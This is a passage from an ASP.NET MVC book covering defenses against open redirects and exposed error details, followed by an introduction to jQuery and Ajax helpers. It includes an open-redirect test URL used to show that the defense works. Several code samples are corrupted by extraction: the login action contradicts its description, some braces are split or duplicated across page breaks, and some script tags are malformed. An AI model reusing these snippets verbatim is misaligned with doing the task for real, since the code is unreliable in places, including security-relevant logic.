            FormsService.SignIn(model.UserName, model.RememberMe);
            if (!String.IsNullOrEmpty(returnUrl))
            {
                return Redirect(returnUrl);
            }
        }
    }
}
```

```

        }
        else
        {
            return RedirectToAction("Index", "Home");
        }
    }
    else
    {
        ModelState.AddModelError("", 
            "The user name or password provided is incorrect.");
    }
}

// If we got this far, something failed, redisplay form
return View(model);
}

```

FIGURE 7-22

Look at the changes to the MVC 4 Login action. This code now calls a RedirectToLocal function, which, in turn, validates the returnUrl by calling a new method in the System.Web.Mvc.Url helper class named IsLocalUrl():

```

//  

// POST: /Account/Login  
  

[HttpPost]  

[AllowAnonymous]  

[ValidateAntiForgeryToken]  

public ActionResult Login(LoginModel model, string returnUrl)  

{
    if (ModelState.IsValid && WebSecurity.Login(
        model.UserName, model.Password, persistCookie: model.RememberMe))
    {
        return RedirectToAction(returnUrl);
    }

    // If we got this far, something failed, redisplay form
    ModelState.AddModelError("",  

        "The user name or password provided is incorrect.");
    return View(model);
}  
  

private ActionResult RedirectToLocal(string returnUrl)
{
    if (Url.IsLocalUrl(returnUrl))
    {
        return Redirect(returnUrl);
    }
    else
    {
        return RedirectToAction("Index", "Home");
    }
}

```

Protecting Your ASP.NET MVC 1 and MVC 2 Applications

You can take advantage of the updated Account Controller changes in MVC 3 and 4 in your existing MVC 1 and 2 applications by adding the `IsLocalUrl()` helper method and updating the `LogOn` action to validate the `returnUrl` parameter.

The `UrlHelper IsLocalUrl()` method is actually just calling into a method in `System.Web.WebPages` because this validation is also used by ASP.NET Web Pages applications:

```

public bool IsLocalUrl(string url) {
    return System.Web.WebPages.RequestExtensions.IsUrlLocalToHost(
        RequestContext.HttpContext.Request, url);
}

```

The `IsUrlLocalToHost` method contains the actual validation logic, as shown here:

```

public static bool IsUrlLocalToHost(this HttpRequestBase request, string url)
{
    return !url.IsEmpty() &&
        ((url[0] == '/' && (url.Length == 1 || (url[1] != '/' && url[1] != '\\')))) ||
        // "/" or "/foo" but not "//" or "/"
        (url.Length > 1 && url[0] == '~' && url[1] == '/'));
        // "~/" or "~/foo"
}

```

In our MVC 1 or 2 applications, we'll add an `IsLocalUrl()` method to the `AccountController`, but you're encouraged to add it to a separate helper class if possible. We suggest you make two small changes to the ASP.NET MVC 3 version of `IsLocalUrl()` so that it will work inside the `AccountController`:

- Change it from a public method to a private method, because public methods in controllers can be accessed as controller actions.
- Modify the call that checks the URL host against the application host. That call makes use of a local `RequestContext` field in the `UrlHelper` class. Instead of using `this.RequestContext.HttpContext.Request.Url.Host`, use `this.Request.Url.Host`.

The following code shows the modified `IsLocalUrl()` method for use with a controller class in ASP.NET MVC 1 and 2 applications:

```
//Note: This has been copied from the System.Web.WebPages.RequestExtensions class
private bool IsLocalUrl(string url)
{
    if (string.IsNullOrEmpty(url))
    {
        return false;
    }

    Uri absoluteUri;
    if (Uri.TryCreate(url, UriKind.Absolute, out absoluteUri))
    {
        return String.Equals(this.Request.Url.Host,
            absoluteUri.Host, StringComparison.OrdinalIgnoreCase);
    }
    else
    {
        bool isLocal = !url.IsEmpty() &&
            ((url[0] == '/' && (url.Length == 1 ||
            (url[1] != '/' && url[1] != '\\'))) ||
            (url.Length > 1 && url[0] == '~' && url[1] == '/'));
        return isLocal;
    }
}
```

Now that the `IsLocalUrl()` method is in place, you can call it from the `LogOn` action to validate the `returnUrl` parameter, as shown in the following code:

```
[HttpPost]
public ActionResult LogOn(LogOnModel model, string returnUrl)
{
    if (ModelState.IsValid)
    {
        if (Membership.ValidateUser(model.UserName, model.Password))
        {
            FormsAuthentication.SetAuthCookie(model.UserName, model.RememberMe);
            if (Url.IsLocalUrl(returnUrl))
            {
                return Redirect(returnUrl);
            }
        }
    }
}
```

```
        else
        {
            return RedirectToAction("Index", "Home");
        }
    }
else
{
    ModelState.AddModelError("", 
        "The user name or password provided is incorrect.");
}
}

// If we got this far, something failed, redisplay form
return View(model);
}
```

Now you can test an open redirection attack by attempting to log in using an external return URL. Use /Account/LogOn?ReturnUrl=http://www.bing.com/ again. Figure 7-23 shows the login screen with that return URL, which will attempt to redirect you away from the site after login.

FIGURE 7-23

After successfully logging in, you are redirected to the Home/Index Controller action rather than the external URL, as shown in Figure 7-24.

FIGURE 7-24

Taking Additional Actions When an Open Redirect Attempt Is Detected

The `LogOn` action can take additional actions when an open redirect is detected. For instance, you may want to log this as a security exception using the free ELMAH logging library and display a custom logon message that lets the user know that they've been logged in but that the link they clicked may have been malicious. That logic goes in the `else` block in the `LogOn` action:

```
[HttpPost]
public ActionResult LogOn(LogOnModel model, string returnUrl)
{
    if (ModelState.IsValid)
    {
        if (MembershipService.ValidateUser(model.UserName, model.Password))
        {
            FormsService.SignIn(model.UserName, model.RememberMe);
            if (IsLocalUrl(returnUrl))
            {
                return Redirect(returnUrl);
            }
            else
            {
                // Actions on for detected open redirect go here.
                string message = string.Format(
                    "Open redirect to {0} detected.", returnUrl);
                ErrorSignal.FromCurrentContext().Raise(
                    new System.Security.SecurityException(message));
                return RedirectToAction("SecurityWarning", "Home");
            }
        }
    }
}
```

```

        ModelState.AddModelError(
            "", "The user name or password provided is incorrect.");
    }
}

// If we got this far, something failed, redisplay form
return View(model);
}

```

In an MVC 4 application, you'd handle additional logging in the RedirectToLocal method:

```

private ActionResult RedirectToLocal(string returnUrl)
{
    if (Url.IsLocalUrl(returnUrl))
    {
        return Redirect(returnUrl);
    }
    else
    {
        // Actions on for detected open redirect go here.
        string message = string.Format(
            "Open redirect to {0} detected.", returnUrl);
        ErrorSignal.FromCurrentContext().Raise(
            new System.Security.SecurityException(message));
        return RedirectToAction("SecurityWarning", "Home");
    }
}

```

Open Redirection Summary

Open redirection attacks can occur when redirection URLs are passed as parameters in the URL for an application. The MVC 3 and 4 templates include code to protect against open redirection attacks. You can add this code with some modification to MVC 1 and 2 applications. To protect against open redirection attacks when logging in to MVC 1 and 2 applications, add an `IsLocalUrl()` method and validate the `returnUrl` parameter in the `LogOn` action.

PROPER ERROR REPORTING AND THE STACK TRACE

Quite often, sites go into production with the `<customErrors mode="off">` attribute set in the `web.config`. This isn't specific to ASP.NET MVC, but it's worth bringing up in the security chapter because it happens all too often.

There are three possible settings for the `customErrors` mode.

- `On` is the safest for production servers, because it always hides error messages.
- `RemoteOnly` shows generic errors to most users, but exposes the full error messages to users with server access.
- The most vulnerable setting is `Off`, which exposes detailed error messages to anyone who visits your website.

Detailed error messages can expose information about how your application works. Hackers can exploit this by forcing your site to fail — perhaps sending in bad information to a controller using a malformed URL or tweaking the query string to send in a string when an integer is required.

It's tempting to temporarily turn off the Custom Errors feature when troubleshooting a problem on your production server, but if you leave Custom Errors disabled (`mode="Off"`) and an exception occurs, the ASP.NET run time shows a detailed error message, which also shows the source code where the error happened. If someone was so inclined, they could steal a lot of your source and find (potential) vulnerabilities that they could exploit in order to steal data or shut your application down.

The root cause of this problem is waiting for an emergency to think about error handling, so the obvious solution is to think about error handing before the emergency hits.

Using Configuration Transforms

If you'll need access to detailed errors on other servers (e.g., in a stage or test environment), I recommend you use `web.config` transforms to manage the `customErrors` setting based on the build configuration. When you create a new ASP.NET MVC 4 application, it will already have configuration transforms set up for debug and release configurations, and you can easily add additional transforms for other environments. The `Web.Release.config` transform file, which is included in an ASP.NET MVC application, contains the following code:

```
<system.web>
<compilation xdt:Transform="RemoveAttributes(debug)" />
<!--
    In the example below, the "Replace" transform will replace the entire
    <customErrors> section of your web.config file.
    Note that because there is only one customErrors section under the
    <system.web> node, there is no need to use the "xdt:Locator" attribute.

    <customErrors defaultRedirect="GenericError.htm"
        mode="RemoteOnly" xdt:Transform="Replace">
        <error statusCode="500" redirect="InternalError.htm"/>
    </customErrors>
-->
</system.web>
```

This transform includes a commented out section that replaces the `customErrors` mode with `RemoteOnly` when you build your application in Release mode. Turning this configuration transform on is as simple as uncommenting the `customErrors` node, as shown in the following code:

```
<system.web>
<compilation xdt:Transform="RemoveAttributes(debug)" />
<!--
    In the example below, the "Replace" transform will replace the entire
    <customErrors> section of your web.config file.
    Note that because there is only one customErrors section under the
    <system.web> node, there is no need to use the "xdt:Locator" attribute.
```

```
-->
<customErrors defaultRedirect="GenericError.htm"
  mode="RemoteOnly" xdt:Transform="Replace">
  <error statusCode="500" redirect="InternalError.htm"/>
</customErrors>

</system.web>
```

Using Retail Deployment Configuration in Production

Rather than fiddle with individual configuration settings, you can make use of a useful (yet sadly underutilized) feature in ASP.NET: the retail deployment configuration.

This is a simple switch in your server's machine.config file (found at %windir%\Microsoft .NET\Framework\<frameworkversion>\Config) that tells ASP.NET whether it is running in retail deployment mode. The deployment configuration just has two settings: Retail can be either true or false. The deployment / retail value defaults to false; you can set it to true with the following configuration setting:

```
<system.web>
  <deployment retail="true" />
</system.web>
```

Setting deployment / retail to true does a few things:

- customErrors mode is set to On (the most secure setting).
- Trace output is disabled.
- Debug is disabled.

These settings override any application-level settings in web.config.

Using a Dedicated Error Logging System

The best solution is to never turn off custom errors in any environment. Instead, I recommend that you make use of a dedicated error logging system like ELMAH (mentioned previously in this chapter). ELMAH is a free library available via NuGet, and offers a variety of methods for viewing your error information securely. For instance, you can have ELMAH write error information to a database table, which is never exposed on your website.

You can read more about how to configure and use ELMAH at <http://code.google.com/p/elmah/>.

SECURITY RECAP AND HELPFUL RESOURCES

Table 7-1 recaps the threats and solutions to some common web security issues.

TABLE 7-1: ASP.NET Security

THREAT	SOLUTIONS
Complacency	Educate yourself. Assume your applications will be hacked. Remember that it's important to protect user data.
Cross-Site Scripting (XSS)	HTML-encode all content. Encode attributes. Remember JavaScript encoding. Use AntiXSS.
Cross-Site Request Forgery (CSRF)	Token verification. Idempotent GETs. HttpReferrer validation.
Over-Posting	Use the Bind attribute to explicitly whitelist fields. Use blacklists sparingly.

ASP.NET MVC gives you the tools you need to keep your website secure, but it's up to you to apply them wisely. True security is an ongoing effort that requires that you monitor and adapt to an evolving threat. It's your responsibility, but you're not alone. Plenty of great resources are available, both in the Microsoft web development sphere and in the Internet security world at large. Table 7-2 shows a list of resources to get you started.

SUMMARY

We started the chapter off this way, and it's appropriate to end it this way: ASP.NET MVC gives you a lot of control and removes a lot of the abstraction that some developers considered an obstacle. With greater freedom comes greater power, and with greater power comes greater responsibility.

Microsoft is committed to helping you "fall into the pit of success" — meaning that the ASP.NET MVC team wants *the right thing* to be apparent and simple to develop. Not everyone's mind works the same way, however, and there were undoubtedly times when the ASP.NET MVC team made a decision with the framework that might not be congruent with the way you've typically done things. The good news is that when this happens, you have a way to implement it your own way — which is the whole point of ASP.NET MVC.

There's no silver bullet with security — you need to consider it throughout your development process and in all components of your application. Bullet-proof database security can be circumvented if your application allows SQL injection attacks; strict user management falls apart if attackers can trick users into giving away their passwords by exploiting vulnerabilities like open redirection attacks. Computer security experts recommend that you respond to a wide attack surface with a strategy known as *defense in depth*. This term, derived from military strategy, relies on layered safeguards so that even if one security area is breached, the entire system is not compromised.

Security issues in web applications invariably come down to very simple issues on the developer's part: bad assumptions, misinformation, and lack of education. In this chapter, we did our best to tell you about the enemy out there. The best way to keep yourself protected is to know your enemy and know yourself. Get educated and get ready for battle.

Ajax

Scott Allen

WHAT'S IN THIS CHAPTER?

- Understanding jQuery
- Using Ajax helpers
- Understanding client validation
- Using jQuery plugins

It's rare to build a new web application today and not include Ajax features. Technically, *Ajax* stands for *asynchronous JavaScript and XML*. In practice, Ajax stands for all the techniques you use to build responsive web applications with a great user experience. Being responsive does require some asynchronous communication now and then, but the appearance of responsiveness can also come from subtle animations and color changes. If you can visually encourage your users to make the right choices inside your application, they'll love you and come back for more.

ASP.NET MVC 4 is a modern web framework, and like every modern web framework there is support for Ajax right from the start. The core of the Ajax support comes from the open source jQuery JavaScript library. Most of the major Ajax features in ASP.NET MVC 4 build on or extend features in jQuery.

To understand what is possible with Ajax in ASP.NET MVC 4, you have to start with jQuery.

JQUERY

The jQuery “write less, do more” tagline is a perfect description of the jQuery experience. The API is terse yet powerful. The library itself is flexible yet lightweight. Best of all, jQuery supports all the modern browsers (including Internet Explorer, Firefox, Safari, Opera, and Chrome), and hides the inconsistencies (and bugs) you might experience if you wrote code directly against the API each browser provides. When you use jQuery, you’ll not only be writing less code and finishing jobs in less time, you’ll keep the hair on your head, too.

jQuery is one of the most popular JavaScript libraries in existence, and remains an open source project. You can find the latest downloads, documentation, and plugins on the jquery.com website. You can also find jQuery in your ASP.NET MVC application. Microsoft supports jQuery, and the project template for ASP.NET MVC will place all the files you need in order to use jQuery into a Scripts folder when you create a new MVC project. In MVC 4, the jQuery scripts are added via NuGet, meaning you can easily upgrade the scripts when a new version of jQuery arrives.

As you’ll see in this chapter, the MVC framework builds on top of jQuery to provide features like client-side validation and asynchronous postbacks. Before drilling into these ASP.NET MVC features, let’s take a quick tour of the underlying jQuery features.

jQuery Features

jQuery excels at finding, traversing, and manipulating HTML elements inside an HTML document. Once you’ve found an element, jQuery also makes it easy to wire up event handlers on the element, animate the element, and build Ajax interactions around the element. This section begins looking at these capabilities by discussing the gateway to jQuery functionality: the `jQuery` function.

The jQuery Function

The `jQuery` function object is the object you’ll use to gain access to jQuery features. The function has a tendency to perplex developers when they first start using jQuery. Part of the confusion occurs because the function (named `jQuery`) is aliased to the `$` sign (because `$` requires less typing and is a legal function name in JavaScript). Even more confusing is how you can pass nearly any type of argument into the `$` function, and the function will deduce what you intend to achieve. The following code demonstrates some typical uses of the `jQuery` function:

```
$(function () {
    $("#album-list img").mouseover(function () {
        $(this).animate({ height: '+=25', width: '+=25' })
            .animate({ height: '-=25', width: '-=25' });
    });
});
```

The first line of code is invoking the `jQuery` function (`$`) and passing an anonymous JavaScript function as the first parameter.

```
$(function () {
    $("#album-list img").mouseover(function () {
        $(this).animate({ height: '+=25', width: '+=25' })
            .animate({ height: '-=25', width: '-=25' });
    });
});
```

```
        });
    });
});
```

When you pass a function as the first parameter, jQuery assumes you are providing a function to execute as soon as the browser is finished building a document object model (DOM) from HTML supplied by the server — that is, the code will run after the HTML page is done loading from the server. This is the point in time when you can safely begin executing script against the DOM, and we commonly call this the “DOM ready” event.

The second line of code passes the string `#album-list img` to the jQuery function:

```
$(function () {
    $("#album-list img").mouseover(function () {
        $(this).animate({ height: '+=25', width: '+=25' })
            .animate({ height: '-=25', width: '-=25' });
    });
});
```

jQuery will interpret this string as a *selector*. A selector tells jQuery what elements you are searching for in the DOM. You can find elements by their attribute values, their class names, their relative position, and more. The selector in the second line of code tells jQuery to find all the images inside the element with an `id` value of `album-list`.

When the selector executes, it returns a *wrapped set* of zero or more matching elements. Any additional jQuery methods you invoke will operate against all the elements in the wrapped set. For example, the `mouseover` method hooks an event handler to the `onmouseover` event of each image element that matched the selector.

jQuery exploits the functional programming capabilities of JavaScript. You’ll often find yourself creating and passing functions as parameters into jQuery methods. The `mouseover` method, for example, knows *how* to wire up an event handler for `onmouseover` regardless of the browser in use, but it doesn’t know *what* you want to do when the event fires. To express what you want to happen when the event fires, you pass in a function with the event handling code:

```
$(function () {
    $("#album-list img").mouseover(function () {
        $(this).animate({ height: '+=25', width: '+=25' })
            .animate({ height: '-=25', width: '-=25' });
    });
});
```

In the preceding example, the code animates an element during the `mouseover` event. The element the code animates is referenced by the `this` keyword. (`this` points to the element where the event occurred.) Notice how the code first passes the element to the jQuery function `$(this)`. jQuery sees the argument as a reference to an element and returns a wrapped set with the element inside.

Once you have the element wrapped inside of jQuery goodness, you can invoke jQuery methods like `animate` to manipulate the element. The code in the example makes the image grow a bit (increase the width and height by 25 pixels), and then shrink a bit (decrease the width and height by 25 pixels).

The result of the code is as follows: When users move their mouse over an album image, they see a subtle emphasizing effect when the image expands, then contracts. Is this behavior required to use

the application? No! However, the effect is easy and gives the appearance of polish. Your users will love it.

As you progress through this chapter, you'll see more substantive features. First, let's take a closer look at the jQuery features you'll need.

jQuery Selectors

Selectors are the strings you pass to the jQuery function to select elements in the DOM. In the previous section, you used `#album-list img` as a selector to find image tags. If you think the string looks like something you might use in a cascading style sheet (CSS), you would be correct. The jQuery selector syntax derives from CSS 3.0 selectors, with some additions. Table 8-1 lists some of the selectors you'll see in everyday jQuery code.

TABLE 8-1: Common Selectors

EXAMPLE	MEANING
<code>\$("#header")</code>	Find the element with an <code>id</code> of "header"
<code>\$(".editor-label")</code>	Find all elements with a class name of ".editor-label"
<code>\$("div")</code>	Find all <code><div></code> elements
<code>\$("#header div")</code>	Find all <code><div></code> elements that are descendants of the element with an <code>id</code> of "header"
<code>\$("#header > div")</code>	Find all <code><div></code> elements that are children of the element with an <code>id</code> of "header"
<code>\$("a:even")</code>	Find evenly numbered anchor tags

The last line in the table demonstrates how jQuery supports the same pseudo-classes you might be familiar with from CSS. Using a pseudo-class allows you to select even or odd numbered elements, visited links, and more. For a full list of available CSS selectors, visit <http://www.w3.org/TR/css3-selectors/>.

jQuery Events

Another one of jQuery's strengths is the API it provides for subscribing to events in the DOM. Although you can use a generic `bind` function to capture any event using an event name specified as a string, jQuery also provides dedicated methods for common events, such as `click`, `blur`, and `submit`. As demonstrated earlier, you tell jQuery what to do when the event occurs by passing in a function. The function can be anonymous, as in the example you saw in the section "The jQuery Function" earlier in the chapter, or you can also pass a named function as an event handler, as in the following code:

```
$("#album-list img").mouseover(function () {
    animateElement($(this));
});
```

```
function animateElement(element) {
    element.animate({ height: '+=25', width: '+=25' })
        .animate({ height: '-=25', width: '-=25' });
}
```

Once you have some DOM elements selected, or are inside an event handler, jQuery makes it easy to manipulate elements on a page. You can read the values of their attributes, set the values of their attributes, add CSS classes to or remove them from the element, and more. The following code adds the `highlight` class to or removes it from anchor tags on a page as the user's mouse moves through the element. The anchor tags should appear differently when users move their mouse over the tag (assuming you have a `highlight` style set up appropriately).

```
$( "a" ).mouseover(function () {
    $(this).addClass("highlight");
}).mouseout(function () {
    $(this).removeClass("highlight");
});
```

A couple of interesting notes about the preceding code:

- All the jQuery methods you use against a wrapped set, like the `mouseover` method, return the same jQuery wrapped set. This means you can continue invoking jQuery methods on elements you've selected without reselecting those elements. We call this *method chaining*.
- Shortcuts are available in jQuery for many common operations. Setting up effects for `mouseover` and `mouseout` is a common operation, and so is toggling the presence of a style class. You could rewrite the last snippet using some jQuery shortcuts and the code would morph into the following:

```
$( "a" ).hover(function () {
    $(this).toggleClass("highlight");
});
```

There's a lot of power in three lines of code — that's why jQuery is awesome.

jQuery and Ajax

jQuery includes everything you need to send asynchronous requests back to your web server. You can generate POST requests or GET requests and jQuery notifies you when the request is complete (or if there is an error). With jQuery, you can send and receive XML data (the *x* in Ajax stands for XML, after all), but as you'll see in this chapter, it's trivial to consume data in HTML, text, or JavaScript Object Notation (JSON) format. jQuery makes Ajax easy.

In fact, jQuery makes so many things easy it has changed the way web developers write script code.

Unobtrusive JavaScript

In the early days of the Web (before jQuery came along), it was fashionable to intermingle JavaScript code and HTML inside the same file. It was even normal to put JavaScript code inside an HTML element as the value of an attribute. You've probably seen an `onclick` handler like the following:

```
<div onclick="javascript:alert('click');">Testing, testing</div>
```

You might have written markup with embedded JavaScript in those days because there was no easier approach to catching click events. Although embedded JavaScript works, the code is messy. jQuery changes the scenario because you now have a clearly superior approach to finding elements and catching click events. You can now remove JavaScript code from inside HTML attributes. In fact, you can remove JavaScript code from HTML entirely.

Unobtrusive JavaScript is the practice of keeping JavaScript code separate from markup. You package all the script code you need into .js files. If you look at the source code for a view, you don't see any JavaScript intruding into the markup. Even when you look at the HTML rendered by a view, you still don't see any JavaScript inside. The only sign of script you'll see is one or more <script> tags referencing the JavaScript files.

You might find unobtrusive JavaScript appealing because it follows the same separation of concerns that the MVC design pattern promotes. Keep the markup that is responsible for the display separate from the JavaScript that is responsible for behavior. Unobtrusive JavaScript has additional advantages, too. Keeping all of your script in separately downloadable files can give your site a performance boost because the browser can cache the script file locally.

Unobtrusive JavaScript also allows you to use a strategy known as progressive enhancement for your site. *Progressive enhancement* is a focus on delivering content. Only if the device or browser viewing the content supports features like scripts and style sheets will your page start doing more advanced things, like animating images. Wikipedia has a good overview of progressive enhancement here: http://en.wikipedia.org/wiki/Progressive_enhancement.

ASP.NET MVC 4 takes an unobtrusive approach to JavaScript. Instead of emitting JavaScript code into a view to enable features like client-side validation, the framework sprinkles metadata into HTML attributes. Using jQuery, the framework can find and interpret the metadata, and then attach behaviors to elements, all using external script files. Thanks to unobtrusive JavaScript, the Ajax features of ASP.NET MVC support progressive enhancement. If the user's browser doesn't support scripting, your site will still work (they just won't have the "nice to have" features like client validation).

To see unobtrusive JavaScript in action, let's start by taking a look at how to use jQuery in an MVC application.

Using jQuery

The Visual Studio project templates for ASP.NET MVC give you everything you need to use jQuery when you create a new project. Each new project contains a Scripts folder with a number of .js files inside it, as shown in Figure 8-1.

The core jQuery library is the file named jquery-<version>.js, where the version is 1.6.2 at the time of writing. If you open this file, you'll find a readable, commented version of the jQuery source code inside.

All you need to start using jQuery is a script tag to include the jQuery script file into your page. Typically, you'll do this in the layout views for your application, since you are likely to use jQuery everywhere. The simplest approach is to use the following code:

FIGURE 8-1

```
<script src("~/Scripts/jquery-1.6.2.js")></script>
```

Note that ASP.NET MVC's Razor view engine will resolve the ~ operator to the root of the current web site, even when the ~ appears in an `src` attribute. Also note that specifying the type as `text/javascript` isn't needed in HTML 5.

Custom Scripts

When you write your own custom JavaScript code, you can add your code into new files in the scripts directory (unless you want to write *intrusive* JavaScript; then go ahead and embed script code directly in your view, but you lose 25 karma points when you do this). For example, you can take the code from the beginning of this chapter and place it into a `MusicScripts.js` file in the scripts directory. `MusicScripts.js` would look like the following:

```
$(function () {
    $("#album-list img").mouseover(function () {
        $(this).animate({ height: '+=25', width: '+=25' })
            .animate({ height: '-=25', width: '-=25' });

    });
});
```

To add `MusicScripts.js` to the application you'll need another script tag. The script tag must appear later in the rendered document than the script tag for jQuery, because `MusicScripts.js` requires jQuery and the browser loads scripts in the order in which they appear in the document. If the script contains functionality the entire application will use, you can place the script tag in the `_Layout` view, after the script tag for jQuery. In this example, you need to use the script tag only on the front page of the application, so you can add it anywhere inside the `Index` view of the `HomeController` (because the view engine places the contents of the rendered view in the body of the page and after the jQuery script tag).

```
<div id="promotion">
</div>

<h3><em>Fresh</em> off the grill</h3>
@section Scripts {
    <script src "~/Scripts/MusicScripts.js" "></script>
}
```

Placing Scripts in Sections

Another option for injecting scripts into the output is to define Razor sections where scripts should appear. You can add your own custom sections, but the default `_Layout` view in a new ASP.NET MVC 4 application will include a section specifically for you to include scripts that depend on jQuery. The name of the section is "scripts," and it will appear after jQuery is loaded so that your custom scripts can take a dependency on jQuery.

Inside of any content view, you can now add a `scripts` section to inject view-specific scripts into the header:

```
@section scripts{
    <script src "~/Scripts/MusicScripts.js"
    ></script>
}
```

The section approach allows you to have precise placement of script tags and ensure required scripts are included in the proper order. By default, the `_Layout` view in a new MVC 4 application will render the script towards the bottom of the page, just before the closing `body` tag.

The Rest of the Scripts

What are all these other `.js` files in the `Scripts` folder? In addition to the core jQuery library, the `Scripts` folder contains two jQuery plugins: jQuery UI and jQuery Validation. These extensions add additional capabilities to the core jQuery library, and you'll use both plugins in this chapter. Notice that minified versions of both plugins exist.

You'll also find files containing `vsdoc` in the name. These files are specially annotated to help Visual Studio provide better IntelliSense. You never have to reference these files directly, or send them to the client. Visual Studio 2012 will find these files automatically if you refer to them in `_references.js`. The `_references.js` file defines the implicit references Visual Studio will use to drive IntelliSense, and is configured under Tools \Rightarrow Options \Rightarrow JavaScript \Rightarrow IntelliSense (look for the implicit Web Reference Group).

The files with "unobtrusive" in the name are files written by Microsoft. The unobtrusive scripts integrate with jQuery and the MVC framework to provide the unobtrusive JavaScript features mentioned earlier. You'll need to use these files if you want to use Ajax features of the ASP.NET MVC framework, and you'll also see how to use these scripts in this chapter.

Now that you know what jQuery is and how to reference the script in your application, take a look at Ajax features directly supported by the MVC framework, found in the following section.

Another script you'll find in the `Scripts` directory is a Modernizr script. Modernizr is a JavaScript library that helps you build modern applications by modernizing older browsers. For example, one important job of Modernizr is to enable the new HTML 5 elements (such as `header`, `nav`, and `menu`) on browsers that don't natively support HTML 5 elements (like Internet Explorer 6). Modernizr will also allow you to detect if advanced features like geolocation and the drawing canvas are available in a particular browser.

Finally, you'll find the script for the Knockout JavaScript library in the `Scripts` directory. Knockout provides data-binding capabilities for those who want to use a Model-View-ViewModel (MVVM) design pattern for their JavaScript code and data on the client.

AJAX HELPERS

You've seen the HTML helpers in ASP.NET MVC. You can use the HTML helpers to create forms and links that point to controller actions. There is also a set of Ajax helpers in ASP.NET MVC. Ajax helpers also create forms and links that point to controller actions, but they behave asynchronously. When using these helpers, you don't need to write any script code to make the asynchrony work.

Behind the scenes, these Ajax helpers depend on the unobtrusive MVC extensions for jQuery. To use the helpers, you need to have the `jquery.unobtrusive-ajax` script present. Note that a default MVC 4 project will include this script in the application's `_Layout` view by default. If you want to include the file manually, you could use the following script tags:

```
<script src="~/Scripts/jquery-1.6.2.min.js">
```

```
></script>
<script src="~/Scripts/Scripts/jquery.unobtrusive-ajax.min.js">
</script>
@RenderSection("scripts", required:false);
```

Ajax ActionLinks

Ajax helpers are available through the `Ajax` property inside a Razor view. Like HTML helpers, most of the methods on this property are extension methods (except for the `AjaxHelper` type).

The `ActionLink` method of the `Ajax` property creates an anchor tag with asynchronous behavior. Imagine you want to add a “daily deal” link at the bottom of the opening page for the MVC Music Store. When users click the link, you don’t want them to navigate to a new page, but you want the existing page to magically display the details of a heavily discounted album.

To implement this behavior, you can add the following code into the `Views/Home/Index.cshtml` view, just below the existing album list:

```
<div id="dailydeal">
    @Ajax.ActionLink("Click here to see today's special!",
        "DailyDeal",
        new AjaxOptions{
            UpdateTargetId="dailydeal",
            InsertionMode=InsertionMode.Replace,
            HttpMethod="GET"
        })
</div>
```

The first parameter to the `ActionLink` method specifies the link text, and the second parameter is the name of the action you want to invoke asynchronously. Like the HTML helper of the same name, the Ajax `ActionLink` has various overloads you can use to pass a controller name, route values, and HTML attributes.

One significantly different type of parameter is the `AjaxOptions` parameter. The options parameter specifies how to send the request, and what will happen with the result the server returns. Options also exist for handling errors, displaying a loading element, displaying a confirmation dialog, and more. In this scenario, you are using options to specify that you want to replace the element with an id of “`dailydeal`” using whatever response comes from the server. To have a response available, you’ll need a `DailyDeal` action on the `HomeController`:

```
public ActionResult DailyDeal()
{
    var album = GetDailyDeal();

    return PartialView("_DailyDeal", album);
}

private Album GetDailyDeal()
{
    return storeDB.Albums
        .OrderBy(a => a.Price)
        .First();
}
```

The target action for an Ajax action link can return plain text or HTML. In this case, you'll return HTML by rendering a partial view. The following Razor code will live in a `_DailyDeal.cshtml` file in the `Views/Home` folder of the project:

```
@model MvcMusicStore.Models.Album

<p>
    
</p>

<div id="album-details">
    <p>
        <em>Artist:</em>
        @Model.Artist.Name
    </p>
    <p>
        <em>Price:</em>
        @String.Format("{0:F}", Model.Price)
    </p>
    <p class="button">
        @Html.ActionLink("Add to cart", "AddToCart",
            "ShoppingCart", new { id = Model.AlbumId }, "")
    </p>
</div>
```

Now when the user clicks the link, an asynchronous request is sent to the `DailyDeal` action of the `HomeController`. Once the action returns the HTML from a rendered view, the script behind the scenes takes the HTML and replaces the existing `dailydeal` element in the DOM. Before the user clicks, the bottom of the homepage would look something like Figure 8-2.

FIGURE 8-2

After the user clicks to see the special, the page (without doing a full refresh) will look something like Figure 8-3.

NOTE If you want to see the code in action, use NuGet to install the `Wrox.ProMvc4.Ajax.ActionLink` package. The code in the package depends on data access classes from the MVC Music Store, so it is best to try the package out inside the MVC Music Store project. Once you've installed the package you can navigate to `/ActionLink` to see the new homepage.

FIGURE 8-3

Ajax.ActionLink produces something that will take a response from the server and graft new content directly into a page. How does this happen? In the next section, we'll look at how the asynchronous action link works behind the scenes.

HTML 5 Attributes

If you look at the rendered markup for the action link, you'll find the following:

```
<a data-ajax="true" data-ajax-method="GET" data-ajax-mode="replace"
   data-ajax-update="#dailydeal" href="/Home/DailyDeal">
  Click here to see today's special!
</a>
```

The hallmark of unobtrusive JavaScript is not seeing any JavaScript in the HTML, and you certainly have no script code in sight. If you look closely, you'll see all the settings specified in the action link are encoded into the HTML element as attributes, and most of these attributes have a prefix of *data-* (we say they are *data dash* attributes).

The HTML 5 specification reserves data dash attributes for private application state. In other words, a web browser does not try to interpret the content of a data dash attribute, so you are free to put your own data inside and the data does not influence the display or rendering of a page. Data dash attributes even work in browsers released before an HTML 5 specification existed. Internet Explorer 6, for example, ignores any attributes it doesn't understand, so data dash attributes are safe in older versions of IE.

The purpose of the `jquery.unobtrusive-ajax` file you added to the application is to look for specific data dash attributes and then manipulate the element to behave differently. If you know that with jQuery it is easy to find elements, you can imagine a piece of code inside the unobtrusive JavaScript file that looks like the following:

```
$(function () {
  $("a[data-ajax=true]"). // do something
});
```

The code uses jQuery to find all the anchor elements with the attribute `data-ajax` holding the value `true`. The `data-ajax` attribute is present on the elements that need asynchronous behavior. Once

the unobtrusive script has identified the asynchronous elements, it can read other settings from the element (like the replace mode, the update target, and the HTTP method) and modify the element to behave accordingly (typically by wiring up events using jQuery, and sending off requests using jQuery, too).

All the ASP.NET MVC Ajax features use data dash attributes. By default, this includes the next topic: asynchronous forms.

Ajax Forms

Let's imagine another scenario for the front page of the music store. You want to give the user the ability to search for an artist. Because you need user input, you must place a form tag on the page, but not just any form — an asynchronous form:

```
@using (Ajax.BeginForm("ArtistSearch", "Home",
    new AjaxOptions {
        InsertionMode=InsertionMode.Replace,
        HttpMethod="GET",
        OnFailure="searchFailed",
        LoadingElementId="ajax-loader",
        UpdateTargetId="searchresults",
    }))
{
    <input type="text" name="q" />
    <input type="submit" value="search" />
    
}
```

